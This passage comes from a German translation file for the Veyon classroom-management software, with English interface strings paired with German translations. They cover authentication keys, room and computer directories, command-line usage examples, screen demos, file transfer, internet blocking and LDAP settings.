ein, für die ein Authentifizierungsschlüssel importiert werden soll: + + + Please select a key to export! + Bitte wählen Sie den zu exportierenden Schlüssel! + + + Please select a user group which to grant access to key "%1": + Bitte wählen Sie eine Benutzergruppe, der der Zugriff auf den Schlüssel "%1" gewährt werden soll: + + + Please select a key which to set the access group for! + Bitte wählen Sie den Schlüssel, für den die Zugriffsgruppe gesetzt werden soll! + + + Please perform the following steps to set up key file authentication: + Bitte führen Sie die folgenden Schritte durch, um die Schlüsseldatei-Authentifizierung einzurichten: + + + 1) Create a key pair on the master computer. + 1) Schlüsselpaar auf dem Master-Computer erzeugen. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Zugriffsgruppe festlegen, deren Mitgliedern der Zugriff auf andere Computer erlaubt werden soll. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Öffentlichen Schlüssel exportieren und auf allen Client-Computern mit dem selben Namen importieren. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + Weitere Informationen entnehmen Sie bitte dem <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon-Administrationshandbuch</a>. + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + Ein Authentifizierungsschlüsselpaar besteht aus zwei zueinander gehörigen Teilen, einem privaten und einem öffentlichen Schlüsselteil. +Mit Hilfe des privaten Schlüssels können Nutzer auf dem Mastercomputer auf Clientcomputer zugreifen. Es ist wichtig, dass nur autorisierte Nutzer Lesezugriff auf die private Schlüsseldatei besitzen. +Der öffentliche Schlüssel wird auf den Clientcomputern genutzt, um für jede eingehende Verbindungsanfrage zu prüfen, ob diese autorisiert ist. + + + + AuthKeysManager + + Please check your permissions. + Bitte überprüfen Sie Ihre Berechtigungen. + + + Key name contains invalid characters! + Schlüsselname enthält ungültige Zeichen! + + + Invalid key type specified! Please specify "%1" or "%2". + Ungültiger Schlüsseltyp angegeben. Bitte geben Sie "%1" oder "%2" an. + + + Specified key does not exist! Please use the "list" command to list all installed keys. + Der angegebene Schlüssel existiert nicht! Bitte benutzen Sie den "list"-Befehl, um alle installierten Schlüssel anzuzeigen. + + + One or more key files already exist! Please delete them using the "delete" command. + Ein oder mehrere Schlüsseldateien existieren bereits! Bitte löschen Sie diese mit Hilfe des "delete"-Befehls. + + + Creating new key pair for "%1" + Erzeuge neues Schlüsselpaar für "%1" + + + Failed to create public or private key! + Erzeugung des öffentlichen oder privaten Schlüssels fehlgeschlagen! + + + Newly created key pair has been saved to "%1" and "%2". + Das neu erzeugte Schlüsselpaar wurde nach "%1" und "%2" gespeichert. + + + Could not remove key file "%1"! + Die Schlüsseldatei "%1" konnte nicht gelöscht werden! + + + Could not remove key file directory "%1"! + Das Schlüsseldateiverzeichnis "%1" konnte nicht gelöscht werden! + + + Failed to create directory for output file. + Erzeugung des Verzeichnisses für die Ausgabedatei fehlgeschlagen. + + + File "%1" already exists. + Datei "%1" existiert bereits. + + + Failed to write output file. + Schreiben der Ausgabedatei fehlgeschlagen. + + + Key "%1/%2" has been exported to "%3" successfully. + Der Schlüssel "%1/%2" wurde erfolgreich nach "%3" exportiert. + + + Failed read input file. + Lesen der Eingabedatei fehlgeschlagen. + + + File "%1" does not contain a valid private key! + Die Datei "%1" enthält keinen gültigen privaten Schlüssel! + + + File "%1" does not contain a valid public key! + Die Datei "%1" enthält keinen gültigen öffentlichen Schlüssel! + + + Failed to create directory for key file. + Erzeugung des Verzeichnisses für Schlüsseldatei fehlgeschlagen. + + + Failed to write key file "%1". + Schreiben der Schlüsseldatei "%1" fehlgeschlagen. + + + Failed to set permissions for key file "%1"! + Setzen der Berechtigungen für Schlüsseldatei "%1" fehlgeschlagen! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + Der Schlüssel "%1/%2" wurde erfolgreich importiert. Bitte überprüfen Sie die Dateiberechtigungen von "%3", um unerlaubten Zugriff zu verhindern. + + + Failed to convert private key to public key + Konvertierung des privaten Schlüssels in einen öffentlichen Schlüssel fehlgeschlagen + + + Failed to create directory for private key file "%1". + Erzeugung des Verzeichnisses für die private Schlüsseldatei "%1" fehlgeschlagen. + + + Failed to save private key in file "%1"! + Speichern des privaten Schlüssels in Datei "%1" fehlgeschlagen! + + + Failed to set permissions for private key file "%1"! + Setzen der Berechtigungen für private Schlüsseldatei "%1" fehlgeschlagen! + + + Failed to create directory for public key file "%1". + Erzeugung des Verzeichnisses für die öffentliche Schlüsseldatei "%1" fehlgeschlagen. + + + Failed to save public key in file "%1"! + Speichern des öffentlichen Schlüssels in Datei "%1" fehlgeschlagen! + + + Failed to set permissions for public key file "%1"! + Setzen der Berechtigungen für öffentliche Schlüsseldatei "%1" fehlgeschlagen! + + + Failed to set owner of key file "%1" to "%2". + Setzen des Besitzers der Schlüsseldatei "%1" auf "%2" fehlgeschlagen. + + + Failed to set permissions for key file "%1". + Setzen der Berechtigungen für Schlüsseldatei "%1" fehlgeschlagen. + + + Key "%1" is now accessible by user group "%2". + Die Benutzergruppe "%2" kann nun auf den Schlüssel "%1" zugreifen. + + + <N/A> + <N/V> + + + Failed to read key file. + Lesen der Schlüsseldatei fehlgeschlagen. + + + + AuthKeysPlugin + + Create new authentication key pair + Neues Authentifizierungsschlüsselpaar erzeugen + + + Delete authentication key + Authentifizierungsschlüssel löschen + + + List authentication keys + Authentifizierungsschlüssel auflisten + + + Import public or private key + Öffentlichen oder privaten Schlüssel importieren + + + Export public or private key + Öffentlichen oder privaten Schlüssel exportieren + + + Extract public key from existing private key + Öffentlichen Schlüssel aus bestehendem privaten Schlüssel extrahieren + + + Set user group allowed to access a key + Benutzergruppe setzen, die auf einen Schlüssel zugreifen darf + + + KEY + SCHLÜSSEL + + + ACCESS GROUP + ZUGRIFFSGRUPPE + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + Dieser Befehl passt die Dateizugriffsberechtigungen auf den Schlüssel <SCHLÜSSEL> so an, dass nur die Benutzergruppe <ZUGRIFFSGRUPPE> Lesezugriff darauf hat. + + + NAME + NAME + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Dieser Befehl erzeugt ein neues Authentifizierungsschlüsselpaar mit dem Name <NAME> und speichert den privaten und öffentlichen Schlüssel im konfigurierten Schlüsselverzeichnis. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + Dieser Befehl löscht den Authentifizierungsschlüssel <SCHLÜSSEL> aus dem konfigurierten Schlüsselverzeichnis. Bitte beachten Sie, dass ein Schlüssel nicht wiederhergestellt werden kann, sobald er gelöscht wurde. + + + FILE + DATEI + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Dieser Befehl exportiert den Authentifizierungsschlüssel <SCHLÜSEL> nach <DATEI>. Wenn <DATEI> nicht angegeben wird, wird der Dateiname aus Name und Typ von <SCHLÜSSEL> abgeleitet. + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Dieser Befehl importiert den Authentifizierungsschlüssel <SCHLÜSSEL> aus <DATEI>. Wenn <DATEI> nicht angeben wird, wird der Dateiname aus Name und Typ von <SCHLÜSSEL> abgeleitet. + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + Dieser Befehl listet alle verfügbaren Authentifizierungsschlüssel im konfigurierten Schlüsselverzeichnis auf. Wenn die Option "%1" angegeben wird, wird stattdessen eine Tabelle mit Schlüsseldetails ausgegeben. Einige Details können fehlen, wenn auf einen Schlüssel nicht zugegriffen werden kann, z.B. aufgrund fehlender Leserechte. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + Dieser Befehl extrahiert den öffentlichen Schlüsselteil aus dem privaten Schlüssel <SCHLÜSSEL> und speichert ihn als den zugehörigen öffentlichen Schlüssel. + + + Please specify the command to display help for! + Bitte geben Sie den Befehl an, für den Hilfe angezeigt werden soll! + + + TYPE + TYP + + + PAIR ID + PAAR-ID + + + Command line support for managing authentication keys + Kommandozeilenunterstützung zur Verwaltung von Authentifizierungsschlüsseln + + + Commands for managing authentication keys + Befehle zur Verwaltung von Authentifizierungsschlüsseln + + + + AuthKeysTableModel + + Name + Name + + + Type + Typ + + + Access group + Zugriffsgruppe + + + Pair ID + Paar-ID + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Räume & Computer + + + Rooms + Räume + + + Computers + Computer + + + Name + Name + + + Host address/IP + Hostadresse/IP + + + MAC address + MAC-Adresse + + + Add new room + Neuen Raum hinzufügen + + + Remove selected room + Gewählten Raum entfernen + + + Add new computer + Neuen Computer hinzufügen + + + Remove selected computer + Gewählten Computer entfernen + + + New room + Neuer Raum + + + New computer + Neuer Computer + + + Builtin directory + Integriertes Verzeichnis + + + + BuiltinDirectoryPlugin + + Show help for specific command + Hilfe für bestimmten Befehl anzeigen + + + Add a room or computer + Einen Raum oder Computer hinzufügen + + + Clear all rooms and computers + Alle Räume und Computer löschen + + + Dump all or individual rooms and computers + Alle oder einzelne Räume und Computer anzeigen + + + List all rooms and computers + Alle Räume und Computer auflisten + + + Remove a room or computer + Einen Raum oder Computer löschen + + + Import objects from given file + Objekte aus angegebener Datei importieren + + + Export objects to given file + Objekte in angegebene Datei exportieren + + + Invalid type specified. Valid values are "%1" or "%2". + Ungültiger Typ angegeben. Gültige Werte sind "%1" oder "%2". + + + Type + Typ + + + Name + Name + + + Host address + Hostadresse + + + MAC address + MAC-Adresse + + + Specified object not found. + Angegebenes Objekt nicht gefunden. + + + File "%1" does not exist! + Datei "%1 existiert nicht! + + + Can't open file "%1" for reading! + Datei "%1" kann nicht zum Lesen geöffnet werden! + + + Unknown argument "%1". + Unbekanntes Argument "%1". + + + Room "%1" + Raum "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + Computer "%1" (Hostadresse: %2 MAC-Adresse: "%3") + + + Unclassified object "%1" with ID "%2" + Unbestimmtes Object "%1" mit ID "%2" + + + None + Keine + + + Room + Raum + + + Computer + Computer + + + Root + Wurzel + + + Invalid + Ungültig + + + Error while parsing line %1. + Fehler beim Parsen von Zeile %1. + + + Network object directory which stores objects in local configuration + Netzwerkobjektverzeichnis, das Objekte in lokaler Konfiguration speichert + + + Builtin (computers and rooms in local configuration) + Eingebaut (Computer und Räume in lokaler Konfiguration) + + + Commands for managing the builtin network object directory + Befehle zur Verwaltung des eingebauten Netzwerkobjektverzeichnisses + + + No format string or regular expression specified! + Kein Format-String oder regulärer Ausdruck angegeben! + + + Can't open file "%1" for writing! + Datei "%1" kann nicht zum Schreiben geöffnet werden! + + + No format string specified! + Kein Format-String angegeben! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +VERWENDUNG + +%1 export <DATEI> [room <RAUM>] [format <FORMAT-STRING-MIT-VARIABLEN>] + +Gültige Variablen: %type% %name% %host% %mac% %room% + +Beispiele: + +* Alle Objekte in eine CSV-Datei exportieren: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Alle Computer eines Raumes in eine CSV-Datei exportieren: + + %1 export computers.csv room "Raum 01" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +VERWENDUNG + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Fügt ein Objekt hinzu, wobei TYPE "%2" oder "%3" sein kann. PARENT kann als Name oder UUID angegeben werden. + +Beispiele: + +* Einen Raum hinzufügen + + %1 add room "Raum 01" + +* Einen Computer zum Raum "Raum 01" hinzufügen: + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Raum 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +VERWENDUNG + +%1 remove <OBJECT> + +Entfernt das angegebene Objekt aus dem Verzeichnis. OBJECT kann als Name oder UUID angegeben werden. Wenn ein Raum entfernt wird, werden alle darin befindlichen Computer ebenfalls entfernt. + +Beispiele: + +* Einen Computer über seinen Namen entfernen: + + %1 remove "Computer 01" + +* Ein Objekt über seine UUID entfernen: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + Objekt-UUID + + + Parent UUID + Eltern-UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +VERWENDUNG + +%1 import <DATEI> [room <RAUM>] [format <FORMATSTRING-MIT-VARIABLEN>] [regex <REGULÄRER-AUSRUCK-MIT-VARIABLEN>] + +Gültige Variablen: %type% %name% %host% %mac% %room% + +Beispiele: + +* Einfache CSV-Datei für einzelnen Raum importieren: + + %1 import computers.csv room "Raum 01" format "%name%;%host%;%mac%" + +* CSV-Datei mit Raumname in erster Spalte importieren: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Textdatei mit Schlüssel/Wert-Paaren mit Hilfe von regulären Ausdrücken importieren: + + %1 import hostlist.txt room "Raum 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Beliebig formatierte Daten importieren: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Eingebauter VNC-Server (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Eingebauter VNC-Server (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Raum: %1 + + + Host/IP address: %1 + Host-/IP-Adresse: %1 + + + Active features: %1 + Aktive Funktionen: %1 + + + Online and connected + Online und verbunden + + + Establishing connection + Verbindung wird hergestellt + + + Computer offline or switched off + Computer offline oder ausgeschalten + + + Service unreachable or not running + Dienst nicht erreichbar oder läuft nicht + + + Authentication failed or access denied + Authentifizierung fehgeschlagen oder Zugriff verweigert + + + Disconnected + Nicht verbunden + + + No user logged on + Kein Benutzer angemeldet + + + Logged on user: %1 + Angemeldeter Benutzer: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 Dienst %2 auf %3:%4 + + + Authentication error + Authentifizierungsfehler + + + Remote access + Fernzugriff + + + User "%1" at host "%2" is now accessing this computer. + Der Benutzer "%1" am Computer %2" greift jetzt auf diesen Computer zu. + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + Der Benutzer "%1" am Computer "%2" hat versucht, auf diesen Computer zuzugreifen, konnte sich aber nicht erfolgreich authentifizieren! + + + + ComputerManagementView + + Computer management + Computerverwaltung + + + Add room + Raum hinzufügen + + + Save computer/user list + Computer-/Benutzerliste speichern + + + Select output filename + Ausgabedateiname wählen + + + CSV files (*.csv) + CSV-Dateien (*.csv) + + + File error + Dateifehler + + + Could not write the computer and users list to %1! Please check the file access permissions. + Die Computer- und Benutzerliste konnte nicht in die Datei %1 geschrieben werden. Bitte überprüfen Sie die Dateizugriffsrechte. + + + Computer search + Computersuche + + + + ComputerManager + + User + Benutzer + + + Missing network object directory plugin + Fehlendes Netzwerkobjektverzeichnis-Plugin + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Es wurde kein Standard-Netzwerkobjektverzeichnis-Plugin gefunden. Bitte überprüfen Sie Ihre Installation oder stellen ein anderes Netzwerkobjektverzeichnis-Backend mit Hilfe des %1 Configurators ein. + + + Computer name;Host name;User + Computername;Hostname;Benutzer + + + Room detection failed + Raumerkennung fehlgeschlagen + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Es konnte nicht festgestellt werden, zu welchem Raum dieser Computer gehört. Das deutet auf ein Problem mit der Systemkonfiguration hin. Stattdessen werden alle Räume in der Computerverwaltung angezeigt. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Bitte geben Sie eine existierende Konfigurationsdatei für den Import an. + + + Please specify a valid filename for the configuration export. + Bitte geben Sie einen gültigen Dateinamen für den Konfigurationsexport an. + + + Please specify a valid key. + Bitte geben Sie einen gültigen Schlüssel ein. + + + Specified key does not exist in current configuration! + Der angegebene Schlüssel existiert in der derzeitigen Konfiguration nicht! + + + Please specify a valid value. + Bitte geben Sie einen gültigen Wert ein. + + + Configure Veyon at command line + Veyon auf der Kommandozeile konfigurieren + + + Output file is not writable! + Ausgabedatei ist nicht schreibbar! + + + Output directory is not writable! + Ausgabeverzeichnis ist nicht schreibbar! + + + Configuration file is not readable! + Konfigurationsdatei ist nicht lesbar! + + + Clear system-wide Veyon configuration + Systemweite Veyon-Konfiguration löschen + + + List all configuration keys and values + Alle Konfigurationsschlüssel und -werte auflisten + + + Import configuration from given file + Konfiguration aus angegebener Datei importieren + + + Export configuration to given file + Konfiguration in angegebene Datei exportieren + + + Read and output configuration value for given key + Konfigurationswert für gegebenen Schlüssel lesen und ausgeben + + + Write given value to given configuration key + Angegebenen Wert in angegebenen Konfigurationsschlüssel schreiben + + + Unset (remove) given configuration key + Angegebenen Konfigurationsschlüssel zurücksetzen (löschen) + + + Commands for managing the configuration of Veyon + Befehle zur Verwaltung der Veyon-Konfiguration + + + Upgrade and save configuration of program and plugins + Konfiguration von Programm und Plugins aktualisieren und speichern + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Die Autostart-Einstellung für den %1-Dienst konnte nicht geändert werden. + + + Could not configure the firewall configuration for the %1 Server. + Die Firewall-Einstellungen für den %1 Server konnten nicht geändert werden. + + + Could not configure the firewall configuration for the %1 Worker. + Die Firewall-Einstellungen für den %1 Worker konnten nicht geändert werden. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + Die Einstellung für die SAS-Generation in Software konnte nicht geändert werden. Das Senden von Strg+Alt-Entf über Fernzugriff wird nicht funktionieren! + + + Configuration is not writable. Please check your permissions! + Konfiguration ist nicht schreibbar. Bitte überprüfen Sie Ihre Berechtigungen! + + + + DemoClient + + %1 Demo + %1 Demo + + + + DemoConfigurationPage + + Demo server + Demo-Server + + + Tunables + Feineinstellungen + + + ms + ms + + + Key frame interval + Key-Frame-Intervall + + + Memory limit + Speicherlimit + + + Use multithreading (experimental) + Multithreading benutzen (experimentell) + + + MB + MB + + + Update interval + Update-Intervall + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Vollbild-Demo + + + Stop demo + Demo beenden + + + Window demo + Fenster-Demo + + + Give a demonstration by screen broadcasting + Eine Präsentation durch Bildschirmübertragung + + + Demo server + Demo-Server + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + In diesem Modus wird Ihr Bildschirm als Vollbild auf allen Computern angezeigt während die Eingabegeräte der Benutzer gesperrt werden. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + In diesem Modus wird Ihr Bildschirm in einem Fenster auf allen Computern angezeigt. Die Benutzer können bei Bedarf zu anderen Fenstern wechseln. + + + + DesktopAccessDialog + + Desktop access dialog + Desktopzugriffsdialog + + + Confirm desktop access + Arbeitsflächenzugriff bestätigen + + + Never for this session + Nie für diese Sitzung + + + Always for this session + Immer für diese Sitzung + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + Der Benutzer %1 am Computer %2 möchte auf Ihre Arbeitsfläche zugreifen. Möchten Sie den Zugriff erlauben? + + + + DesktopServicesConfigurationPage + + Programs & websites + Programme & Websites + + + Predefined programs + Vordefinierte Programme + + + Name + Name + + + Path + Pfad + + + Add new program + Neues Programm hinzufügen + + + Remove selected program + Ausgewähltes Programm entfernen + + + Predefined websites + Vordefinierte Websites + + + Remove selected website + Ausgewählte Website entfernen + + + URL + URL + + + New program + Neues Programm + + + New website + Neue Website + + + + DesktopServicesFeaturePlugin + + Run program + Programm starten + + + Open website + Website öffnen + + + Click this button to open a website on all computers. + Klicken Sie auf diesen Button, um eine Website auf allen Computern zu öffnen. + + + Please enter the URL of the website to open: + Bitte geben Sie die URL der zu öffnenden Website ein: + + + Start programs and services in user desktop + Programme und Dienste im Benutzerdesktop starten + + + Click this button to run a program on all computers. + Klicken Sie auf diesen Button, um Programme auf allen Computern zu starten. + + + Run program "%1" + Programm "%1" ausführen + + + Custom program + Benutzerdefiniertes Programm + + + Open website "%1" + Website "%1" öffnen + + + Custom website + Benutzerdefinierte Website + + + + ExternalVncServer + + External VNC server + Externer VNC-Server + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Konfiguration des externen VNC-Servers + + + Port: + Port: + + + Password: + Passwort: + + + + FeatureControl + + Feature control + Funktionssteuerung + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + Datei "%1" konnte nicht zum Lesen geöffnet werden! Bitte Berechtigungen überprüfen! + + + + FileTransferDialog + + File transfer + Dateiübertragung + + + Options + Optionen + + + Transfer only + Nur übertragen + + + Transfer and open file(s) with associated program + Übertragen und Dateie(n) mit verknüpftem Programm öffnen + + + Transfer and open destination folder + Übertragen und Zielordner öffnen + + + Files + Dateien + + + Start + Start + + + Overwrite existing files + Bestehende Dateien überschreiben + + + + FileTransferPlugin + + File transfer + Dateiübertragung + + + Click this button to transfer files from your computer to all computers. + Klicken Sie auf diesen Button, um Dateien von Ihrem Computer auf alle Computer zu übertragen. + + + Select one or more files to transfer + Eine oder mehrere Dateien für die Übertragung auswählen + + + Transfer files to remote computer + Dateien auf entfernte Computer übertragen + + + Received file "%1". + Datei "%1" empfangen. + + + Could not receive file "%1" as it already exists. + Datei "%1" konnte nicht empfangen werden, da sie bereits existiert. + + + Could not receive file "%1" as it could not be opened for writing! + Datei "%1" konnte nicht empfangen werden, da sie nicht zum Schreiben geöffnet werden konnte! + + + + GeneralConfigurationPage + + User interface + Benutzeroberfläche + + + Language: + Sprache: + + + Use system language setting + Spracheinstellung des Systems verwenden + + + Veyon + Veyon + + + Logging + Logaufzeichnung + + + Log file directory + Logdateiverzeichnis + + + ... + ... + + + Log level + Loglevel + + + Nothing + Nichts + + + Only critical messages + Nur kritische Nachrichten + + + Errors and critical messages + Fehler und kritische Nachrichten + + + Warnings and errors + Warnungen und Fehler + + + Information, warnings and errors + Informationen, Warnungen und Fehler + + + Debug messages and everything else + Debugmeldungen und alles andere + + + Limit log file size + Logdateigröße begrenzen + + + Clear all log files + Alle Logdateien leeren + + + Log to standard error output + Nach Standardfehlerausgabe loggen + + + Network object directory + Netzwerkobjektverzeichnis + + + Backend: + Backend: + + + Update interval: + Aktualisierungsintervall: + + + %1 service + %1-Dienst + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + Der %1-Dienst muss temporär beendet werden, um die Logdateien zu löschen. Fortfahren? + + + Log files cleared + Logdateien gelöscht + + + All log files were cleared successfully. + Alle Logdateien wurden erfolgreich gelöscht. + + + Error + Fehler + + + Could not remove all log files. + Konnte nicht alle Logdateien entfernen. + + + MB + MB + + + Rotate log files + Logdateien rotieren + + + x + x + + + seconds + Sekunden + + + Write to logging system of operating system + In Ereignisprotokollierung des Betriebssystems schreiben + + + Authentication + Authentifizierung + + + Method: + Methode: + + + Logon authentication + Anmelde-Authentifizierung + + + Key file authentication + Schlüsseldatei-Authentifizierung + + + + InternetAccessControlConfigurationPage + + Internet access control + Internetzugriffskontrolle + + + Backend: + Backend: + + + General settings + Allgemeine Einstellungen + + + Backend settings + Backend-Einstellungen + + + + InternetAccessControlPlugin + + Block access to the internet + Zugriff auf das Internet blockieren + + + Allow access to the internet + Zugriff auf das Internet erlauben + + + Show help about command + Hilfe über Befehl anzeigen + + + Block internet + Internet sperren + + + Click this button to block access to the internet. + Klicken Sie auf diesen Button, um den Zugriff auf das Internet zu sperren. + + + Unblock internet + Internet freigeben + + + Click this button to allow access to the internet. + Klicken Sie auf diesen Button, um den Zugriff auf das Internet wieder freizugeben. + + + Control access to the internet + Internetzugriff steuern + + + Commands for controlling access to the internet + Befehle zur Steuerung des Internetzugriffs + + + + LdapBrowseDialog + + Browse LDAP + LDAP durchsuchen + + + + LdapClient + + LDAP error description: %1 + LDAP-Fehlerbeschreibung: %1 + + + No LDAP error description available + Keine LDAP-Fehlerbeschreibung verfügbar + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Grundeinstellungen + + + General + Allgemein + + + LDAP server and port + LDAP-Server und Port + + + Bind DN + Bind-DN + + + Bind password + Bind-Passwort + + + Anonymous bind + Anonymer Bind + + + Use bind credentials + Bind-Zugangsdaten verwenden + + + Test + Testen + + + Base DN + Base-DN + + + Fixed base DN + Fester Base-DN + + + e.g. dc=example,dc=org + z.B. dc=example,dc=org + + + Discover base DN by naming context + Base-DN über Naming-Context ermitteln + + + e.g. namingContexts or defaultNamingContext + z.B. namingContexts oder defaultNamingContext + + + Environment settings + Umgebungseinstellungen + + + Object trees + Objektbäume + + + Computer tree + Computerbaum + + + e.g. OU=Groups + z.B. OU=Groups + + + User tree + Benutzerbaum + + + e.g. OU=Users + z.B. OU=Users + + + e.g. OU=Computers + z.B. OU=Computers + + + Group tree + Gruppenbaum + + + Perform recursive search operations in object trees + Rekursive Suchoperationen in Objektbäumen durchführen + + + Object attributes + Objektattribute + + + e.g. hwAddress + z.B. hwAddress + + + Computer host name attribute + Attribut Computername + + + e.g. member or memberUid + z.B. member oder memberUid + + + User login attribute + Attribut Benutzerlogin + + + e.g. dNSHostName + z.B. dNSHostName + + + Computer MAC address attribute + Attribut Computer-MAC-Adresse + + + Group member attribute + Attribut Gruppenmitglied + + + e.g. uid or sAMAccountName + z.B. uid oder sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Computernamen sind als vollqualifizierte Domainnamen gespeichert (FQDN, z.B. myhost.example.org) + + + Advanced settings + Erweiterte Einstellungen + + + Optional object filters + Optionale Objektfilter + + + Filter for user groups + Filter für Benutzergruppen + + + Filter for users + Filter für Benutzer + + + Filter for computer groups + Filter für Computergruppen + + + Group member identification + Identifizierung von Gruppenmitgliedern + + + Distinguished name (Samba/AD) + Distinguished name (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Konfiguriertes Attribut für Benutzer-Login oder Computername (OpenLDAP) + + + List all groups of a user + Alle Gruppen eines Benutzers auflisten + + + List all groups of a computer + Alle Gruppen eines Computers auflisten + + + Get computer object by IP address + Computerobjekt über IP-Adresse ermitteln + + + LDAP connection failed + LDAP-Verbindung fehlgeschlagen + + + LDAP bind failed + LDAP-Bind fehlgeschlagen + + + LDAP bind successful + LDAP-Bind erfolgreich + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Der Verbindungsaufbau zum LDAP-Server und LDAP-Bind waren erfolgreich. Die grundlegenden LDAP-Einstellungen sind korrekt eingerichtet. + + + LDAP base DN test failed + LDAP-Base-DN-Test fehlgeschlagen + + + LDAP base DN test successful + LDAP-Base-DN-erfolgreich getestet + + + LDAP naming context test failed + LDAP-Naming-Context-Test fehlgeschlagen + + + LDAP naming context test successful + LDAP-Naming-Context-erfolgreich getestet + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + Der LDAP-Naming-Context wurde erfolgreich abgefragt. Die folgende Base-DN wurde gefunden: +%1 + + + user tree + Benutzerbaum + + + group tree + Gruppenbaum + + + computer tree + Computerbaum + + + Enter username + Benutzername eingeben + + + Please enter a user login name (wildcards allowed) which to query: + Bitte geben Sie den abzufragenden Benutzername ein (Platzhalter erlaubt): + + + user objects + Benutzerobjekte + + + user login attribute + Attribut Benutzerlogin + + + Enter group name + Grupenname eingeben + + + Please enter a group name whose members to query: + Bitte geben Sie den Namen der Gruppe ein, deren Mitglieder abgefragt werden sollen: + + + group members + Gruppenmitglieder + + + group member attribute + Attribut Gruppenmitglied + + + Group not found + Gruppe nicht gefunden + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + Es wurde keine Gruppe mit dem Name "%1" gefunden. Bitte überprüfen Sie den Gruppenname oder den Gruppenbaum-Parameter. + + + Enter computer name + Computername eingeben + + + Please enter a computer host name to query: + Bitte geben Sie den abzufragenden Computername ein: + + + Invalid host name + Ungültiger Computername + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Sie haben eingestellt, dass Computernamen als vollqualifizierte Domainnamen (FQDN) gespeichert sind, haben aber einen Computername ohne Domain eingegeben. + + + You configured computer host 